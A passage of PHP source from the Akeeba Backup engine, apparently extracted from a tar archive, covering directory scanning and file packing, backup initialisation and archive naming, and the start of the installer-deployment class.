		$this->setState(self::STATE_FINISHED);
	}

	/**
	 * Gets the next directory to scan from the stack. It also applies folder
	 * filters (directory exclusion, subdirectory exclusion, file exclusion),
	 * updating the operation toggle properties of the class.
	 *
	 * @return   boolean  True if we found a directory, false if the directory
	 *                    stack is empty. It also returns true if the folder is
	 *                    filtered (we are told to skip it)
	 */
	protected function getNextDirectory()
	{
		// Reset the file / folder scanning positions
		$this->getFiles_position       = null;
		$this->getFolders_position     = null;
		$this->done_file_scanning      = false;
		$this->done_subdir_scanning    = false;
		$this->excluded_folder         = false;
		$this->excluded_subdirectories = false;
		$this->excluded_files          = false;

		if ((is_array($this->directory_list) || $this->directory_list instanceof \Countable ? count($this->directory_list) : 0) == 0)
		{
			// No directories left to scan
			return false;
		}
		else
		{
			// Get and remove the last entry from the $directory_list array
			$this->current_directory = array_pop($this->directory_list);
			$this->setStep($this->current_directory);
			$this->processed_files_counter = 0;
		}

		[$root, $translated_root, $dir] = $this->getCleanDirectoryComponents();

		// Get a filters instance
		$filters = Factory::getFilters();

		// Apply DEF (directory exclusion filters)
		// Note: the !empty($dir) prevents the site's root from being filtered out
		if ($filters->isFiltered($dir, $root, 'dir', 'all') && !empty($dir))
		{
			Factory::getLog()->info("Skipping directory " . $this->current_directory);
			$this->done_subdir_scanning = true;
			$this->done_file_scanning   = true;
			$this->excluded_folder      = true;

			return true;
		}

		// Apply Skip Contained Directories Filters
		if ($filters->isFiltered($dir, $root, 'dir', 'children'))
		{
			$this->excluded_subdirectories = true;

			Factory::getLog()->info("Skipping subdirectories of directory " . $this->current_directory);

			$this->done_subdir_scanning = true;
		}

		// Apply Skipfiles
		if ($filters->isFiltered($dir, $root, 'dir', 'content'))
		{
			$this->excluded_files = true;

			Factory::getLog()->info("Skipping files of directory " . $this->current_directory);

			$this->done_file_scanning = true;

			// When the files of a folder are skipped we will have to add some
			// files anyway if they are present. These are files used to
			// prevent direct access to the folder.

			// Try to find and include .htaccess and index.htm(l) files
			// # Fix 2.4: Do not add DIRECTORY_SEPARATOR if we are on the site's root and it's an empty string
			$ds                            = ($this->current_directory == '') || ($this->current_directory == '/') ? '' : DIRECTORY_SEPARATOR;
			$checkForTheseFiles            = [
				$this->current_directory . $ds . '.htaccess',
				$this->current_directory . $ds . 'web.config',
				$this->current_directory . $ds . 'index.html',
				$this->current_directory . $ds . 'index.htm',
				$this->current_directory . $ds . 'robots.txt',
			];
			$this->processed_files_counter = 0;

			foreach ($checkForTheseFiles as $fileName)
			{
				if (@file_exists($fileName))
				{
					// Fix 3.3 - We have to also put them through other filters, ahem!
					if (!$filters->isFiltered($fileName, $root, 'file', 'all'))
					{
						$this->file_list[] = $fileName;
						$this->processed_files_counter++;
					}
				}
			}
		}

		return true;
	}

	/**
	 * Try to add some files from the $file_list into the archive
	 *
	 * @return   boolean   True if there were files packed, false otherwise
	 *                     (empty filelist or fatal error)
	 */
	protected function pack_files()
	{
		// Get a reference to the archiver and the timer classes
		$archiver      = Factory::getArchiverEngine();
		$timer         = Factory::getTimer();
		$configuration = Factory::getConfiguration();

		// Check whether we need to immediately post-processing a done part
		if (self::postProcessDonePartFile($archiver, $configuration))
		{
			return true;
		}

		// If the archiver has work to do, make sure it finished up before continuing
		if ($configuration->get('volatile.engine.archiver.processingfile', false))
		{
			Factory::getLog()->debug("Continuing file packing from previous step");
			$archiver->addFile('', '', '');

			// If that was the last step for packing this file, mark a file done
			if (!$configuration->get('volatile.engine.archiver.processingfile', false))
			{
				$this->progressMarkFileDone();
			}
		}

		// Did it finish, or does it have more work to do?
		if ($configuration->get('volatile.engine.archiver.processingfile', false))
		{
			// More work to do. Let's just tell our parent that we finished up successfully.
			return true;
		}

		// Normal file backup loop; we keep on processing the file list, packing files as we go.
		if ((is_array($this->file_list) || $this->file_list instanceof \Countable ? count($this->file_list) : 0) == 0)
		{
			// No files left to pack. Return true and let the engine loop
			$this->progressMarkFolderDone();

			return true;
		}
		else
		{
			Factory::getLog()->debug("Packing files");
			$packedSize    = 0;
			$numberOfFiles = 0;

			[$usec, $sec] = explode(" ", microtime());
			$opStartTime = ((float) $usec + (float) $sec);

			$largeFileThreshold = Factory::getConfiguration()->get('engine.scan.common.largefile', 10485760);

			while (((is_array($this->file_list) || $this->file_list instanceof \Countable ? count($this->file_list) : 0) > 0))
			{
				$file = @array_shift($this->file_list);
				$size = 0;
				if (file_exists($file))
				{
					$size = @filesize($file);
				}
				// Anticipatory file size algorithm
				if (($numberOfFiles > 0) && ($size > $largeFileThreshold))
				{
					if (!Factory::getConfiguration()->get('akeeba.tuning.nobreak.beforelargefile', 0))
					{
						// If the file is bigger than the big file threshold, break the step
						// to avoid potential timeouts
						$this->setBreakFlag();
						Factory::getLog()->info("Breaking step _before_ large file: " . $file . " - size: " . $size);
						// Push the file back to the list.
						array_unshift($this->file_list, $file);

						// Return true and let the engine loop
						return true;
					}
				}

				// Proactive potential timeout detection
				// Rough estimation of packing speed in bytes per second
				[$usec, $sec] = explode(" ", microtime());

				$opEndTime = ((float) $usec + (float) $sec);

				if (($opEndTime - $opStartTime) == 0)
				{
					$_packSpeed = 0;
				}
				else
				{
					$_packSpeed = $packedSize / ($opEndTime - $opStartTime);
				}

				// Estimate required time to pack next file. If it's the first file of this operation,
				// do not impose any limitations.
				$_reqTime = ($_packSpeed - 0.01) <= 0 ? 0 : $size / $_packSpeed;

				// Do we have enough time?
				if ($timer->getTimeLeft() < $_reqTime)
				{
					if (!Factory::getConfiguration()->get('akeeba.tuning.nobreak.proactive', 0))
					{
						array_unshift($this->file_list, $file);
						Factory::getLog()->info("Proactive step break - file: " . $file . " - size: " . $size . " - req. time " . sprintf('%2.2f', $_reqTime));
						$this->setBreakFlag();

						return true;
					}
				}

				$packedSize += $size;
				$numberOfFiles++;
				$archiver->addFile($file, $this->remove_path_prefix, $this->path_prefix);

				// If no more processing steps are required, mark a done file
				if (!$configuration->get('volatile.engine.archiver.processingfile', false))
				{
					$this->progressMarkFileDone();
				}

				// If this was the first file packed and we've already gone past
				// the large file size threshold break the step. Continuing with
				// more operations after packing such a big file is increasing
				// the risk to hit a timeout.
				if (($packedSize > $largeFileThreshold) && ($numberOfFiles == 1))
				{
					if (!Factory::getConfiguration()->get('akeeba.tuning.nobreak.afterlargefile', 0))
					{
						Factory::getLog()->info("Breaking step *after* large file: " . $file . " - size: " . $size);
						$this->setBreakFlag();

						return true;
					}
				}

				// If we have to continue processing the file, break the file packing loop forcibly
				if ($configuration->get('volatile.engine.archiver.processingfile', false))
				{
					return true;
				}
			}

			// True if we have more files, false if we're done packing
			return ((is_array($this->file_list) || $this->file_list instanceof \Countable ? count($this->file_list) : 0) > 0);
		}
	}

	protected function progressAddFile()
	{
		$this->total_files++;
	}

	protected function progressMarkFileDone()
	{
		$this->done_files++;
	}

	protected function progressAddFolder()
	{
		$this->total_folders++;
	}

	protected function progressMarkFolderDone()
	{
		$this->done_folders++;
	}

	/**
	 * Returns the site root, the translated site root and the translated current directory
	 *
	 * @return array
	 */
	protected function getCleanDirectoryComponents()
	{
		$fsUtils = Factory::getFilesystemTools();

		// Break directory components
		if (Factory::getConfiguration()->get('akeeba.platform.override_root', 0))
		{
			$siteroot = Factory::getConfiguration()->get('akeeba.platform.newroot', '[SITEROOT]');
		}
		else
		{
			$siteroot = '[SITEROOT]';
		}

		$root = $this->root;

		if ($this->root == $siteroot)
		{
			$translated_root = $fsUtils->translateStockDirs($siteroot, true);
		}
		else
		{
			$translated_root = $this->remove_path_prefix;
		}

		$dir = $fsUtils->TrimTrailingSlash($this->current_directory);

		if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')
		{
			$translated_root = $fsUtils->TranslateWinPath($translated_root);
			$dir             = $fsUtils->TranslateWinPath($dir);
		}

		if (substr($dir, 0, strlen($translated_root)) == $translated_root)
		{
			$dir = substr($dir, strlen($translated_root));
		}
		elseif (in_array(substr($translated_root, -1), ['/', '\\']))
		{
			$new_translated_root = rtrim($translated_root, '/\\');
			if (substr($dir, 0, strlen($new_translated_root)) == $new_translated_root)
			{
				$dir = substr($dir, strlen($new_translated_root));
			}
		}

		if (substr($dir, 0, 1) == '/')
		{
			$dir = substr($dir, 1);
		}

		return [$root, $translated_root, $dir];
	}

	/**
	 * Steps the subdirectory scanning of the current directory
	 *
	 * @return  boolean  True on success, false on fatal error
	 */
	protected function scanSubdirs()
	{
		$engine         = Factory::getScanEngine();
		$subdirectories = false;

		[$root, $translated_root, $dir] = $this->getCleanDirectoryComponents();

		// Get a filters instance
		$filters = Factory::getFilters();

		if (is_null($this->getFolders_position))
		{
			Factory::getLog()->info("Scanning directories of " . $this->current_directory);
		}
		else
		{
			Factory::getLog()->info("Resuming scanning directories of " . $this->current_directory);
		}

		// Get subdirectories
		$exception = null;

		try
		{
			$subdirectories = $engine->getFolders($this->current_directory, $this->getFolders_position);
		}
		catch (WarningException $e)
		{
			Factory::getLog()->warning($e->getMessage());

			$subdirectories = false;
		}
		catch (Exception $e)
		{
			$exception = $e;
		}

		// If the list contains "too many" items, please break this step!
		if (Factory::getConfiguration()->get('volatile.breakflag', false))
		{
			// Log the step break decision, for debugging reasons
			Factory::getLog()->info("Large directory " . $this->current_directory . " while scanning for subdirectories; I will resume scanning in next step.");

			// Return immediately, marking that we are not done yet!
			return true;
		}

		// Error control
		if (!is_null($exception))
		{
			throw $exception;
		}

		// Start adding the subdirectories
		if (!empty($subdirectories) && is_array($subdirectories))
		{
			$dereferenceSymlinks = Factory::getConfiguration()->get('engine.archiver.common.dereference_symlinks');

			// If we have to treat symlinks as real directories just add everything
			if ($dereferenceSymlinks)
			{
				// Treat symlinks to directories as actual directories
				foreach ($subdirectories as $subdirectory)
				{
					$this->directory_list[] = $subdirectory;
					$this->progressAddFolder();
				}
			}
			// If we are told not to dereference symlinks we'll need to check each subdirectory thoroughly
			else
			{
				// Treat symlinks to directories as simple symlink files (ONLY WORKS WITH CERTAIN ARCHIVERS!)
				foreach ($subdirectories as $subdirectory)
				{
					if (is_link($subdirectory))
					{
						// Symlink detected; apply directory filters to it
						if (empty($dir))
						{
							$dirSlash = $dir;
						}
						else
						{
							$dirSlash = $dir . '/';
						}

						$check = $dirSlash . basename($subdirectory);
						Factory::getLog()->debug("Directory symlink detected: $check");

						if (_AKEEBA_IS_WINDOWS)
						{
							$check = Factory::getFilesystemTools()->TranslateWinPath($check);
						}

						// Do I need this? $dir contains a path relative to the root anyway...
						$check = ltrim(str_replace($translated_root, '', $check), '/');

						// Check for excluded symlinks (note that they are excluded as DIRECTORIES in the GUI)
						if ($filters->isFiltered($check, $root, 'dir', 'all'))
						{
							Factory::getLog()->info("Skipping directory symlink " . $check);
						}
						else
						{
							Factory::getLog()->debug('Adding folder symlink: ' . $check);
							$this->file_list[] = $subdirectory;
							$this->progressAddFile();
						}
					}
					else
					{
						$this->directory_list[] = $subdirectory;
						$this->progressAddFolder();
					}
				}
			}
		}

		// If the scanner nullified the next position to scan, we're done
		// scanning for subdirectories
		if (is_null($this->getFolders_position))
		{
			$this->done_subdir_scanning = true;
		}

		return true;
	}

	/**
	 * Steps the files scanning of the current directory
	 *
	 * @return  void  True on success, false on fatal error
	 * @throws Exception
	 */
	protected function scanFiles()
	{
		$engine   = Factory::getScanEngine();
		$fileList = false;

		[$root, $translated_root, $dir] = $this->getCleanDirectoryComponents();

		// Get a filters instance
		$filters = Factory::getFilters();

		if (is_null($this->getFiles_position))
		{
			Factory::getLog()->info("Scanning files of " . $this->current_directory);
			$this->processed_files_counter = 0;
		}
		else
		{
			Factory::getLog()->info("Resuming scanning files of " . $this->current_directory);
		}

		// Get file listing
		$exception = null;

		try
		{
			$fileList = $engine->getFiles($this->current_directory, $this->getFiles_position);
		}
		catch (WarningException $e)
		{
			Factory::getLog()->warning($e->getMessage());

			$fileList = false;
		}
		catch (Exception $e)
		{
			$exception = $e;
		}

		// If the list contains "too many" items, please break this step!
		if (Factory::getConfiguration()->get('volatile.breakflag', false))
		{
			// Log the step break decision, for debugging reasons
			Factory::getLog()->info("Large directory " . $this->current_directory . " while scanning for files; I will resume scanning in next step.");

			// Return immediately, marking that we are not done yet!
			return;
		}

		// Error control
		if (!is_null($exception))
		{
			throw $exception;
		}

		// Do I have an unreadable directory?
		if ($fileList === false)
		{
			Factory::getLog()->warning('Unreadable directory ' . $this->current_directory);

			$this->done_file_scanning = true;
		}
		// Directory was readable, process the file list
		elseif (is_array($fileList) && !empty($fileList))
		{
			// Add required trailing slash to $dir
			if (!empty($dir))
			{
				$dir .= '/';
			}

			// Scan all directory entries
			foreach ($fileList as $fileName)
			{
				$check = $dir . basename($fileName);

				if (_AKEEBA_IS_WINDOWS)
				{
					$check = Factory::getFilesystemTools()->TranslateWinPath($check);
				}

				// Do I need this? $dir contains a path relative to the root anyway...
				$check        = ltrim(str_replace($translated_root, '', $check), '/');
				$byFilter     = '';
				$skipThisFile = $filters->isFilteredExtended($check, $root, 'file', 'all', $byFilter);

				if ($skipThisFile)
				{
					Factory::getLog()->info("Skipping file $fileName (filter: $byFilter)");
				}
				else
				{
					$this->file_list[] = $fileName;
					$this->processed_files_counter++;
					$this->progressAddFile();
				}
			}
		}

		// If the scanner engine nullified the next position we are done
		// scanning for files
		if (is_null($this->getFiles_position))
		{
			$this->done_file_scanning = true;
		}

		// If the directory was genuinely empty we will have to add an empty
		// directory entry in the archive, otherwise this directory will never
		// be restored.
		if ($this->done_file_scanning && ($this->processed_files_counter == 0))
		{
			Factory::getLog()->info("Empty directory " . $this->current_directory);

			$archiver = Factory::getArchiverEngine();

			if ($this->current_directory != $this->remove_path_prefix)
			{
				$archiver->addFile($this->current_directory, $this->remove_path_prefix, $this->path_prefix);
			}

			unset($archiver);
		}

		return;
	}

	/**
	 * Try to determine the next root folder to scan
	 *
	 * @return  boolean  True if there was a new root to scan
	 */
	protected function getNextRoot()
	{
		// We have finished with our directory list. Hmm... Do we have extra directories?
		if (count($this->root_definitions) > 0)
		{
			Factory::getLog()->debug("More off-site directories detected");
			$registry       = Factory::getConfiguration();
			$dir_definition = array_shift($this->root_definitions);

			$this->remove_path_prefix = $dir_definition[0]; // Remove absolute path to directory when storing the file

			if (is_null($dir_definition[1]))
			{
				$this->path_prefix = ''; // No added path for main site
			}
			else
			{
				$dir_definition[1] = trim($dir_definition[1]);

				if (empty($dir_definition[1]) || $dir_definition[1] == '/')
				{
					$this->path_prefix = '';
				}
				else
				{
					$this->path_prefix = $registry->get('akeeba.advanced.virtual_folder') . '/' . $dir_definition[1];
				}
			}

			$this->done_scanning = false; // Make sure we process this file list!
			$this->root          = $dir_definition[0];

			// Translate the root into an absolute path
			$stock_dirs   = Platform::getInstance()->get_stock_directories();
			$absolute_dir = substr($this->root, 0);

			if (!empty($stock_dirs))
			{
				foreach ($stock_dirs as $key => $replacement)
				{
					$absolute_dir = str_replace($key, $replacement, $absolute_dir);
				}
			}

			$this->directory_list[]   = $absolute_dir;
			$this->remove_path_prefix = $absolute_dir;

			$registry->set('volatile.filesystem.current_root', $absolute_dir);

			$this->total_files   = 0;
			$this->done_files    = 0;
			$this->total_folders = 0;
			$this->done_folders  = 0;

			Factory::getLog()->info("Including new off-site directory to " . $dir_definition[1]);

			return true;
		}
		else
			// Nope, we are completely done!
		{
			$this->setState(self::STATE_POSTRUN);

			return false;
		}
	}
}
com_akeeba/BackupEngine/Core/Domain/Init.php000060400000035070152455305260014670 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core\Domain;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use RuntimeException;

/**
 * Backup initialization domain
 */
final class Init extends Part
{
	/** @var   string  The backup description */
	private $description = '';

	/** @var   string  The backup comment */
	private $comment = '';

	/**
	 * Implements the constructor of the class
	 *
	 * @return  void
	 */
	public function __construct()
	{
		parent::__construct();

		Factory::getLog()->debug(__CLASS__ . " :: New instance");
	}

	/**
	 * Converts a PHP error to a string
	 *
	 * @return  string
	 */
	public static function error2string()
	{
		if (!function_exists('error_reporting'))
		{
			return "Not applicable; host too restrictive";
		}

		$value       = error_reporting();
		$level_names = [
			E_ERROR         => 'E_ERROR', E_WARNING => 'E_WARNING',
			E_PARSE         => 'E_PARSE', E_NOTICE => 'E_NOTICE',
			E_CORE_ERROR    => 'E_CORE_ERROR', E_CORE_WARNING => 'E_CORE_WARNING',
			E_COMPILE_ERROR => 'E_COMPILE_ERROR', E_COMPILE_WARNING => 'E_COMPILE_WARNING',
			E_USER_ERROR    => 'E_USER_ERROR', E_USER_WARNING => 'E_USER_WARNING',
			E_USER_NOTICE   => 'E_USER_NOTICE',
		];

		if (defined('E_STRICT'))
		{
			$level_names[E_STRICT] = 'E_STRICT';
		}

		$levels = [];

		if (($value & E_ALL) == E_ALL)
		{
			$levels[] = 'E_ALL';
			$value    &= ~E_ALL;
		}

		foreach ($level_names as $level => $name)
		{
			if (($value & $level) == $level)
			{
				$levels[] = $name;
			}
		}

		return implode(' | ', $levels);
	}

	/**
	 * Reports whether the error display (output to HTML) is enabled or not
	 *
	 * @return string
	 */
	public static function errordisplay()
	{
		if (!function_exists('ini_get'))
		{
			return "Not applicable; host too restrictive";
		}

		return ini_get('display_errors') ? 'on' : 'off';
	}

	/**
	 * Implements the _prepare abstract method
	 *
	 * @return  void
	 */
	protected function _prepare()
	{
		// Load parameters (description and comment)
		$jpskey   = '';
		$angiekey = '';

		if (!empty($this->_parametersArray))
		{
			$params = $this->_parametersArray;

			if (isset($params['description']))
			{
				$this->description = $params['description'];
			}

			if (isset($params['comment']))
			{
				$this->comment = $params['comment'];
			}

			if (isset($params['jpskey']))
			{
				$jpskey = $params['jpskey'];
			}

			if (isset($params['angiekey']))
			{
				$angiekey = $params['angiekey'];
			}
		}

		// Load configuration -- No. This is already done by the model. Doing it again removes all overrides.
		// Platform::getInstance()->load_configuration();

		// Initialize counters
		$registry = Factory::getConfiguration();

		if (!empty($jpskey))
		{
			$registry->set('engine.archiver.jps.key', $jpskey);
		}

		if (!empty($angiekey))
		{
			$registry->set('engine.installer.angie.key', $angiekey);
		}

		// Initialize temporary storage
		Factory::getFactoryStorage()->reset();

		// Force load the tag -- do not delete!
		$kettenrad = Factory::getKettenrad();
		$tag       = $kettenrad->getTag(); // Yes, this is an unused variable by we MUST run this method. DO NOT DELETE.

		// Push the comment and description in temp vars for use in the installer phase
		$registry->set('volatile.core.description', $this->description);
		$registry->set('volatile.core.comment', $this->comment);

		$this->setState(self::STATE_PREPARED);
	}

	/**
	 * Implements the _run() abstract method
	 *
	 * @return  void
	 */
	protected function _run()
	{
		if ($this->getState() == self::STATE_POSTRUN)
		{
			Factory::getLog()->debug(__CLASS__ . " :: Already finished");
			$this->setStep('');
			$this->setSubstep('');

			return;
		}
		else
		{
			$this->setState(self::STATE_RUNNING);
		}

		// Initialise the extra notes variable, used by platform classes to return warnings and errors
		$extraNotes = null;

		// Load the version defines
		Platform::getInstance()->load_version_defines();

		$registry = Factory::getConfiguration();

		// Write log file's header
		$version = defined('AKEEBABACKUP_VERSION') ? AKEEBABACKUP_VERSION : AKEEBA_VERSION;
		$date    = defined('AKEEBABACKUP_DATE') ? AKEEBABACKUP_DATE : AKEEBA_DATE;

		Factory::getLog()->info("--------------------------------------------------------------------------------");
		Factory::getLog()->info("Akeeba Backup " . $version . ' (' . $date . ')');
		Factory::getLog()->info("--------------------------------------------------------------------------------");

		// PHP configuration variables are tried to be logged only for debug and info log levels
		if ($registry->get('akeeba.basic.log_level') >= 2)
		{
			Factory::getLog()->info("--- System Information ---");
			Factory::getLog()->info("PHP Version        :" . PHP_VERSION);
			Factory::getLog()->info("PHP OS             :" . PHP_OS);
			Factory::getLog()->info("PHP SAPI           :" . PHP_SAPI);

			if (function_exists('php_uname'))
			{
				Factory::getLog()->info("OS Version         :" . php_uname('s'));
			}

			$db = Factory::getDatabase();
			Factory::getLog()->info("DB Version         :" . $db->getVersion());

			if (isset($_SERVER['SERVER_SOFTWARE']))
			{
				$server = $_SERVER['SERVER_SOFTWARE'];
			}
			elseif (($sf = getenv('SERVER_SOFTWARE')))
			{
				$server = $sf;
			}
			else
			{
				$server = 'n/a';
			}

			Factory::getLog()->info("Web Server         :" . $server);

			$platform     = 'Unknown platform';
			$version      = '(unknown version)';
			$platformData = Platform::getInstance()->getPlatformVersion();
			Factory::getLog()->info($platformData['name'] . " version    :" . $platformData['version']);

			if (isset($_SERVER['HTTP_USER_AGENT']))
			{
				Factory::getLog()->info("User agent         :" . $_SERVER['HTTP_USER_AGENT']);
			}

			Factory::getLog()->info("Safe mode          :" . ini_get("safe_mode"));
			Factory::getLog()->info("Display errors     :" . ini_get("display_errors"));
			Factory::getLog()->info("Error reporting    :" . self::error2string());
			Factory::getLog()->info("Error display      :" . self::errordisplay());
			Factory::getLog()->info("Disabled functions :" . ini_get("disable_functions"));
			Factory::getLog()->info("open_basedir restr.:" . ini_get('open_basedir'));
			Factory::getLog()->info("Max. exec. time    :" . ini_get("max_execution_time"));
			Factory::getLog()->info("Memory limit       :" . ini_get("memory_limit"));

			if (function_exists("memory_get_usage"))
			{
				Factory::getLog()->info("Current mem. usage :" . memory_get_usage());
			}

			if (function_exists("gzcompress"))
			{
				Factory::getLog()->info("GZIP Compression   : available (good)");
			}
			else
			{
				Factory::getLog()->info("GZIP Compression   : n/a (no compression)");
			}

			$extraNotes = Platform::getInstance()->log_platform_special_directories();

			if (!empty($extraNotes) && is_array($extraNotes))
			{
				if (isset($extraNotes['warnings']) && is_array($extraNotes['warnings']))
				{
					foreach ($extraNotes['warnings'] as $warning)
					{
						Factory::getLog()->warning($warning);
					}
				}

				if (isset($extraNotes['errors']) && is_array($extraNotes['errors']))
				{
					foreach ($extraNotes['errors'] as $error)
					{
						Factory::getLog()->error($error);
					}

					if (!empty($extraNotes['errors']))
					{
						throw new RuntimeException($extraNotes['errors'][0]);
					}
				}
			}

			$min_time = $registry->get('akeeba.tuning.min_exec_time');
			$max_time = $registry->get('akeeba.tuning.max_exec_time');
			$bias     = $registry->get('akeeba.tuning.run_time_bias');

			Factory::getLog()->info("Min/Max/Bias       :" . $min_time . '/' . $max_time . '/' . $bias);
			Factory::getLog()->info("Output directory   :" . $registry->get('akeeba.basic.output_directory'), ['root_translate' => false]);
			Factory::getLog()->info("Part size (bytes)  :" . $registry->get('engine.archiver.common.part_size', 0));
			Factory::getLog()->info("--------------------------------------------------------------------------------");
		}

		// Quirks reporting
		$quirks = Factory::getConfigurationChecks()->getDetailedStatus(true);

		if (!empty($quirks))
		{
			Factory::getLog()->info("Akeeba Backup has detected the following potential problems:");

			foreach ($quirks as $q)
			{
				Factory::getLog()->info('- ' . $q['code'] . ' ' . $q['description'] . ' (' . $q['severity'] . ')');
			}

			Factory::getLog()->info("You probably do not have to worry about them, but you should be aware of them.");
			Factory::getLog()->info("--------------------------------------------------------------------------------");
		}

		$phpVersion = PHP_VERSION;

		if (version_compare($phpVersion, '7.3.0', 'lt'))
		{
			Factory::getLog()->warning("You are using PHP $phpVersion which is officially End of Life. We recommend using PHP 7.4 or later for best results. Your version of PHP, $phpVersion, will stop being supported by this backup software in the future.");
		}

		// Report profile ID
		$profile_id = Platform::getInstance()->get_active_profile();
		Factory::getLog()->info("Loaded profile #$profile_id");

		// Get archive name
		[$relativeArchiveName, $absoluteArchiveName] = $this->getArchiveName();

		// ==== Stats initialisation ===
		$origin     = Platform::getInstance()->get_backup_origin(); // Get backup origin
		$profile_id = Platform::getInstance()->get_active_profile(); // Get active profile

		$registry   = Factory::getConfiguration();
		$backupType = $registry->get('akeeba.basic.backup_type');
		Factory::getLog()->debug("Backup type is now set to '" . $backupType . "'");

		// Substitute "variables" in the archive name
		$fsUtils     = Factory::getFilesystemTools();
		$description = $fsUtils->replace_archive_name_variables($this->description);
		$comment     = $fsUtils->replace_archive_name_variables($this->comment);

		if ($registry->get('volatile.writer.store_on_server', true))
		{
			// Archive files are stored on our server
			$stat_relativeArchiveName = $relativeArchiveName;
			$stat_absoluteArchiveName = $absoluteArchiveName;
		}
		else
		{
			// Archive files are not stored on our server (FTP backup, cloud backup, sent by email, etc)
			$stat_relativeArchiveName = '';
			$stat_absoluteArchiveName = '';
		}

		$kettenrad = Factory::getKettenrad();

		$temp = [
			'description'   => $description,
			'comment'       => $comment,
			'backupstart'   => Platform::getInstance()->get_timestamp_database(),
			'status'        => 'run',
			'origin'        => $origin,
			'type'          => $backupType,
			'profile_id'    => $profile_id,
			'archivename'   => $stat_relativeArchiveName,
			'absolute_path' => $stat_absoluteArchiveName,
			'multipart'     => 0,
			'filesexist'    => 1,
			'tag'           => $kettenrad->getTag(),
			'backupid'      => $kettenrad->getBackupId(),
		];

		// Save the entry
		$statistics = Factory::getStatistics();
		$statistics->setStatistics($temp);
		$statistics->release_multipart_lock();

		// Initialize the archive.
		if (Factory::getEngineParamsProvider()->getScriptingParameter('core.createarchive', true))
		{
			Factory::getLog()->debug("Expanded archive file name: " . $absoluteArchiveName);

			Factory::getLog()->debug("Initializing archiver engine");
			$archiver = Factory::getArchiverEngine();
			$archiver->initialize($absoluteArchiveName);
			$archiver->setComment($comment); // Add the comment to the archive itself.
		}

		$this->setState(self::STATE_POSTRUN);
	}

	/**
	 * Implements the abstract _finalize method
	 *
	 * @return  void
	 */
	protected function _finalize()
	{
		$this->setState(self::STATE_FINISHED);
	}

	/**
	 * Returns the relative and absolute path to the archive
	 */
	protected function getArchiveName()
	{
		$registry = Factory::getConfiguration();

		// Import volatile scripting keys to the registry
		Factory::getEngineParamsProvider()->importScriptingToRegistry();

		// Determine the extension
		$force_extension = Factory::getEngineParamsProvider()->getScriptingParameter('core.forceextension', null);

		if (is_null($force_extension))
		{
			$archiver  = Factory::getArchiverEngine();
			$extension = $archiver->getExtension();
		}
		else
		{
			$extension = $force_extension;
		}

		// Get the template name
		$templateName = $registry->get('akeeba.basic.archive_name');
		Factory::getLog()->debug("Archive template name: $templateName");

		/**
		 * Security: Protect archives in the default backup output directory
		 *
		 * If the configured backup output directory is the same as the default backup output directory the following
		 * actions are taken:
		 *
		 * 1. The backup archive name must include [RANDOM]. If it doesn't, '-[RANDOM]' will be appended to it.
		 * 2. We make sure that the direct web access blocking files .htaccess, web.config, index.html, index.htm and
		 *    index.php exist in that directory. If they do not they will be forcibly added.
		 */
		$configuredOutputPath = $registry->get('akeeba.basic.output_directory');
		$stockDirs            = Platform::getInstance()->get_stock_directories();
		$defaultOutputPath    = $stockDirs['[DEFAULT_OUTPUT]'];
		$fsUtils              = Factory::getFilesystemTools();

		if (@realpath($configuredOutputPath) === @realpath($defaultOutputPath))
		{
			$this->ensureHasRandom($templateName);

			$fsUtils->ensureNoAccess($defaultOutputPath);
		}

		// Parse all tags
		$fsUtils      = Factory::getFilesystemTools();
		$templateName = $fsUtils->replace_archive_name_variables($templateName);

		Factory::getLog()->debug("Expanded template name: $templateName");

		$relative_path = $templateName . $extension;
		$absolute_path = $fsUtils->TranslateWinPath($configuredOutputPath . DIRECTORY_SEPARATOR . $relative_path);

		return [$relative_path, $absolute_path];
	}

	/**
	 * Make sure that the archive template name contains the [RANDOM] variable.
	 *
	 * @param   string  $templateName
	 *
	 * @return void
	 */
	protected function ensureHasRandom(&$templateName)
	{
		if (strpos($templateName, '[RANDOM]') !== false)
		{
			return;
		}

		$templateName .= '-[RANDOM]';
	}
}
com_akeeba/BackupEngine/Core/Domain/Installer.php000060400000015041152455305260015716 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core\Domain;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\HashTrait;

/**
 * Installer deployment
 */
final class Installer extends Part
{
	use HashTrait;

	/** @var int Installer image file offset last read */
	private $offset;

	/** @var int How much installer data I have processed yet */
	private $runningSize = 0;

	/** @var int Installer image file index last read */
	private $xformIndex = 0;

	/** @var int Percentage of process done */
	private $progress = 0;

	/**
	 * Public constructor
	 *
	 * @return  void
	 */
	public function __construct()
	{
		parent::__construct();

		Factory::getLog()->debug(__CLASS__ . " :: New instance");
	}

	/**
	 * Implements the _prepare abstract method
	 *
	 */
	function _prepare()
	{
		$archive = Factory::getArchiverEngine();

		// Add the backup description and comment in a README.html file in the
		// installation directory. This makes it the first file in the archive.
		if (!empty($this->installerSettings->readme ?? ''))
		{
			$data = $this->createReadme();
